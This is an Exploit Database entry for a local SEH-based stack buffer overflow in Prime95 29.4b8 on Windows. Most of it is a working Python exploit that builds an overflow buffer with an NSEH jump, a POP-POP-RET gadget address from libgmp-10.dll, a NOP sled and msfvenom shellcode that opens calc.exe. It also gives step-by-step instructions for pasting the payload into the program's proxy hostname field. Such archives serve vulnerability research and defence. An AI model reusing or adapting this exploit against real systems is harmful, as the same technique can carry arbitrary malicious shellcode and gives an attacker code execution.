Prime95 29.4b8 - Stack Buffer Overflow (SEH)

EDB-ID:
44649

CVE:
N/A

EDB Verified: ×

Author:
CRASH_MANUCOOT

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2018-05-18

Vulnerable App:

```
# Exploit Title: Prime95 Local Buffer Overflow (SEH)
# Date: 13-4-2018
# Exploit Author: crash_manucoot
# Contact: twitter.com/crash_manucoot
# Vendor Homepage: https://www.mersenne.org/
# Software Link: https://www.mersenne.org/download/#download
# Version: 29.4b8
# Tested on: Windows 10 Pro x64 SPANISH Windows 7 Home Premium x86 SPANISH
Windows XP SP3 SPANISH
# Category: Windows Local Exploit
# How to use: open the program go to test-PrimeNet-check the square-
Connections paste the contents of open.txt in the optional proxy hostname
field and the calculator will open

buffer = "A" * 660
nseh = "\xeb\x06\x90\x90"
seh = "\x6B\xB0\xED\x6A" #pop esi # pop ebx # ret  |  {PAGE_EXECUTE_READ}
[libgmp-10.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-
1.0
nop = "\x90" * 16

#msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python -v shellcode
shellcode =  ""
shellcode += "\xbf\xc6\xde\x94\x3e\xda\xd0\xd9\x74\x24\xf4\x5d"
shellcode += "\x31\xc9\xb1\x31\x31\x7d\x13\x03\x7d\x13\x83\xc5"
shellcode += "\xc2\x3c\x61\xc2\x22\x42\x8a\x3b\xb2\x23\x02\xde"
shellcode += "\x83\x63\x70\xaa\xb3\x53\xf2\xfe\x3f\x1f\x56\xeb"
shellcode += "\xb4\x6d\x7f\x1c\x7d\xdb\x59\x13\x7e\x70\x99\x32"
shellcode += "\xfc\x8b\xce\x94\x3d\x44\x03\xd4\x7a\xb9\xee\x84"
shellcode += "\xd3\xb5\x5d\x39\x50\x83\x5d\xb2\x2a\x05\xe6\x27"
shellcode += "\xfa\x24\xc7\xf9\x71\x7f\xc7\xf8\x56\x0b\x4e\xe3"
shellcode += "\xbb\x36\x18\x98\x0f\xcc\x9b\x48\x5e\x2d\x37\xb5"
shellcode += "\x6f\xdc\x49\xf1\x57\x3f\x3c\x0b\xa4\xc2\x47\xc8"
shellcode += "\xd7\x18\xcd\xcb\x7f\xea\x75\x30\x7e\x3f\xe3\xb3"
shellcode += "\x8c\xf4\x67\x9b\x90\x0b\xab\x97\xac\x80\x4a\x78"
shellcode += "\x25\xd2\x68\x5c\x6e\x80\x11\xc5\xca\x67\x2d\x15"
shellcode += "\xb5\xd8\x8b\x5d\x5b\x0c\xa6\x3f\x31\xd3\x34\x3a"
shellcode += "\x77\xd3\x46\x45\x27\xbc\x77\xce\xa8\xbb\x87\x05"
shellcode += "\x8d\x34\xc2\x04\xa7\xdc\x8b\xdc\xfa\x80\x2b\x0b"
shellcode += "\x38\xbd\xaf\xbe\xc0\x3a\xaf\xca\xc5\x07\x77\x26"
shellcode += "\xb7\x18\x12\x48\x64\x18\x37\x2b\xeb\x8a\xdb\x82"
shellcode += "\x8e\x2a\x79\xdb"

evil = buffer + nseh + seh + nop + shellcode


file = open('open.txt','w+')
file.write(evil)
file.close()
```

Tags:

Advisory/Source: Link

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES